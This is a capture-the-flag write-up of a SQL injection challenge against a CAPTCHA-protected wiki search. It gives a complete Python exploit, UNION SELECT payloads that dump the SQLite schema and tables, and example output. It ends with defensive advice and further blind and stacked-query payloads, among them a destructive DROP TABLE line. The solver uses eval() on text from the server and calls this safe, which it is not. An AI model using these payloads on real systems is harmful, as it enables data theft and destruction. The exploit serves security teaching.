UnionJack - SQL Injection via UNION SELECT
Challenge Type: Web Security
Difficulty: Medium
Tags: SQL Injection, SQLite, UNION-based Attack, CAPTCHA Bypass
Challenge Description
UnionJack is a wiki-style page browser protected by a mathematical CAPTCHA system. The application searches for pages by ID using a vulnerable SQL query that can be exploited using UNION-based SQL injection. This challenge demonstrates classic SQL injection techniques combined with automated CAPTCHA solving.
Challenge Overview
The application combines multiple security layers: - Page Search System: Browse wiki pages by ID - CAPTCHA Protection: Mathematical challenges to prevent automation - SQLite Database: Backend storage for pages - SQL Injection Vulnerability: Unsanitized input in search query - UNION-based Exploitation: Extract arbitrary data from database
Application Architecture
Normal Application Flow
User Server Database
| | |
|---- GET /get_challenge ------->| |
|<--- {id, question} ------------| |
| | |
|---- GET /search?p=1,1 -------->| |
| &answer=42 | |
| &challenge_id=... | |
| |---- SELECT * FROM pages --|
| | WHERE id=1 AND page=1 |
| |<--- [results] ------------|
|<--- {pages: [...]} ------------| |
Database Schema
CREATE TABLE pages (
id INTEGER,
title TEXT,
content TEXT
);
-- Example data
INSERT INTO pages VALUES (1, 'Page 1', 'Welcome to page 1...');
INSERT INTO pages VALUES (7, 'Secret Page', 'cyhub{un10n_s3l3ct_1nj3ct10n}');
The Vulnerability
The application constructs SQL queries with unsanitized user input:
# Vulnerable server code (simplified)
@app.route('/search')
def search():
# Verify CAPTCHA first
challenge_id = request.args.get('challenge_id')
answer = request.args.get('answer')
if not verify_captcha(challenge_id, answer):
return {'error': 'Invalid CAPTCHA'}
# VULNERABLE: Direct string interpolation!
page_param = request.args.get('p', '1,1')
query = f"SELECT id, title, content FROM pages WHERE id={page_param}"
# ↑ INJECTION POINT
cursor = db.execute(query)
results = cursor.fetchall()
return jsonify({
'pages': [
{'id': r[0], 'title': r[1], 'content': r[2]}
for r in results
]
})
Vulnerability Analysis:
1. User input (page_param) directly concatenated into SQL
2. No parameterized queries or input sanitization
3. Allows UNION-based injection to extract arbitrary data
4. CAPTCHA only prevents automation, not injection
Solution Walkthrough
Phase 1: Understanding the CAPTCHA
First, analyze and bypass the CAPTCHA system:
import requests
BASE_URL = 'http://h4k0b.cyhub.ctf.am:5585'
session = requests.Session()
def solve_challenge(session):
"""Get and solve a mathematical challenge"""
resp = session.get(f'{BASE_URL}/get_challenge')
data = resp.json()
challenge_id = data['id']
question = data['question'] # e.g., "123 + 456"
# Solve using Python's eval (safe for simple math)
answer = eval(question)
return challenge_id, answer
# Example usage
challenge_id, answer = solve_challenge(session)
print(f"Challenge: {question} = {answer}")
Phase 2: Testing for SQL Injection
Test if the parameter is vulnerable:
def search(session, payload):
"""Search with CAPTCHA solving"""
challenge_id, answer = solve_challenge(session)
resp = session.get(f'{BASE_URL}/search', params={
'p': payload,
'answer': answer,
'challenge_id': challenge_id,
'solve_time': 5000
})
return resp.json()
# Test 1: Normal request
result = search(session, '7,7')
print(result) # Returns page 7
# Test 2: Basic injection test
result = search(session, "7,7 OR 1=1")
# If vulnerable, returns all pages
Phase 3: Database Schema Enumeration
Use UNION SELECT to extract table structure:
# SQLite stores schema in sqlite_master table
payload = "7,7 UNION SELECT 7, name, sql FROM sqlite_master WHERE type='table'"
result = search(session, payload)
for page in result['pages']:
if page['title'] != 'Page 7': # Filter actual page
print(f"Table: {page['title']}")
print(f"Schema: {page['content']}")
# Output:
# Table: pages
# Schema: CREATE TABLE pages (id INTEGER, title TEXT, content TEXT)
UNION SELECT Requirements: 1. Number of columns must match (3 in this case: id, title, content) 2. Data types should be compatible 3. First value (7) ensures results merge with page 7's result
Phase 4: Extracting All Data
Dump the entire pages table:
payload = "7,7 UNION SELECT 7, title, content FROM pages"
result = search(session, payload)
flag = None
for page in result['pages']:
title = page['title']
content = page['content']
if 'cyhub{' in str(content):
flag = content
print(f"[FLAG FOUND] {title}: {content}")
else:
print(f"{title}: {content[:50]}...")
# Output:
# Page 1: Welcome to page 1...
# Page 2: This is page 2...
# ...
# [FLAG FOUND] Secret Page: cyhub{un10n_s3l3ct_1nj3ct10n}
Phase 5: Targeted Flag Extraction
If you know the flag location, extract directly:
# If flag is in a specific hidden page
payload = "7,7 UNION SELECT 7, title, content FROM pages WHERE content LIKE '%cyhub{%'"
result = search(session, payload)
print(f"FLAG: {result['pages'][0]['content']}")
Complete Exploit Code
#!/usr/bin/env python3
"""
UnionJack SQL Injection Exploit
Demonstrates UNION-based SQLi with CAPTCHA bypass
"""
import requests
import time
BASE_URL = 'http://h4k0b.cyhub.ctf.am:5585'
def solve_challenge(session):
"""Get a math challenge and solve it"""
resp = session.get(f'{BASE_URL}/get_challenge')
data = resp.json()
challenge_id = data['id']
question = data['question']
answer = eval(question) # Safe for simple arithmetic
return challenge_id, answer
def search(session, payload, retries=3):
"""Execute search with CAPTCHA solving and retry logic"""
for attempt in range(retries):
try:
time.sleep(3) # Rate limiting
challenge_id, answer = solve_challenge(session)
resp = session.get(f'{BASE_URL}/search', params={
'p': payload,
'answer': answer,
'challenge_id': challenge_id,
'solve_time': 5000
})
return resp.json()
except Exception as e:
print(f"[-] Attempt {attempt+1} failed: {e}")
time.sleep(10)
return None
def main():
print("=" * 60)
print("UnionJack SQL Injection Exploit")
print("=" * 60)
session = requests.Session()
# Step 1: Verify normal access
print("\n[*] Testing normal page access...")
result = search(session, '7,7')
if result and 'pages' in result:
print(f"[+] Page 7 accessible: {result['pages'][0]['title']}")
# Step 2: Enumerate schema
print("\n[*] Extracting database schema...")
payload = "7,7 UNION SELECT 7, name, sql FROM sqlite_master WHERE type='table'"
result = search(session, payload)
if result and 'pages' in result:
print("[+] Database tables:")
for page in result['pages']:
if page['title'] != 'Page 7':
print(f" - {page['title']}: {page['content']}")
# Step 3: Dump all pages
print("\n[*] Dumping all page content...")
payload = "7,7 UNION SELECT 7, title, content FROM pages"
result = search(session, payload)
flag = None
if result and 'pages' in result:
print(f"[+] Found {len(result['pages'])} entries:")
for page in result['pages']:
title = page['title']
content = page['content']
if 'cyhub{' in str(content):
flag = content
print(f" [FLAG] {title}: {content}")
else:
print(f" - {title}: {content[:50]}...")
# Display flag
if flag:
print("\n" + "=" * 60)
print(f"FLAG: {flag}")
print("=" * 60)
else:
print("\n[-] Flag not found")
if __name__ == '__main__':
main()
Technical Details
Tools and Libraries
- Python 3.x: Main scripting language
- requests: HTTP client with session management
- eval(): Safe for solving simple arithmetic CAPTCHA
SQL Injection Techniques Used
- UNION SELECT: Combine results from multiple queries
- Schema Enumeration: Query sqlite_master for table structure
- Data Exfiltration: Extract sensitive data from tables
Exploit Execution
python unionjack_exploit.py
Expected Output
====================================================
UnionJack SQL Injection Exploit
====================================================
[*] Testing normal page access...
[+] Page 7 accessible: Page 7
[*] Extracting database schema...
[+] Database tables:
- pages: CREATE TABLE pages (id INTEGER, title TEXT, content TEXT)
[*] Dumping all page content...
[+] Found 10 entries:
- Page 1: Welcome to page 1...
- Page 2: About our wiki...
[FLAG] Secret Page: cyhub{un10n_s3l3ct_1nj3ct10n}
====================================================
FLAG: cyhub{un10n_s3l3ct_1nj3ct10n}
====================================================
Key Takeaways
SQL Injection Fundamentals
UNION SELECT Requirements:
-- Original query returns 3 columns (id, title, content)
SELECT id, title, content FROM pages WHERE id=7 AND page=7
-- Injection must also return 3 columns
UNION SELECT 7, name, sql FROM sqlite_master WHERE type='table'
↑ ↑ ↑
col1 col2 col3
Common SQLite System Tables:
- sqlite_master: Contains schema information
- sqlite_sequence: Auto-increment counters
- sqlite_stat1: Table statistics
Defense Mechanisms
Vulnerable Code (DON'T)
# BAD: String concatenation
query = f"SELECT * FROM users WHERE id={user_id}"
# BAD: String formatting
query = "SELECT * FROM users WHERE name='%s'" % username
Secure Code (DO)
# GOOD: Parameterized queries
cursor.execute("SELECT * FROM users WHERE id=?", (user_id,))
# GOOD: ORM with proper escaping
user = db.query(User).filter(User.id == user_id).first()
# GOOD: Input validation + parameterized queries
if not user_id.isdigit():
return error("Invalid ID")
cursor.execute("SELECT * FROM users WHERE id=?", (int(user_id),))
Defense Recommendations
- Use Parameterized Queries (Prepared Statements) ```python # Python DB-API 2.0 cursor.execute("SELECT * FROM pages WHERE id=? AND page=?", (page_id, page_num))
# SQLAlchemy ORM session.query(Page).filter(Page.id == page_id).all() ```
-
Input Validation
python def validate_page_param(param): # Only allow numbers and comma if not re.match(r'^\d+,\d+$', param): raise ValueError("Invalid format") return param -
Least Privilege Principle
sql -- Database user should only have SELECT permission GRANT SELECT ON pages TO webapp_user; REVOKE INSERT, UPDATE, DELETE ON pages FROM webapp_user; -
Web Application Firewall (WAF)
- Detect and block SQL injection patterns
-
ModSecurity, Cloudflare WAF, AWS WAF
-
Security Testing
- SQLMap for automated testing
- Regular penetration testing
- Code review for SQL queries
CAPTCHA Bypass Considerations
The CAPTCHA in this challenge: - Purpose: Rate limiting and bot prevention - Weakness: Solvable programmatically (simple math) - Lesson: CAPTCHA doesn't prevent exploitation, only automation
Better CAPTCHA alternatives: - reCAPTCHA v3 (behavior analysis) - hCaptcha - Rate limiting + account lockout
Advanced SQL Injection Techniques
Time-Based Blind SQLi
# If no direct output, use timing attacks
payload = "1 AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)"
Boolean-Based Blind SQLi
# Extract data one bit at a time
payload = "1 AND SUBSTR((SELECT flag FROM secrets),1,1)='c'"
Stacked Queries (if supported)
# Multiple statements
payload = "1; DROP TABLE users; --"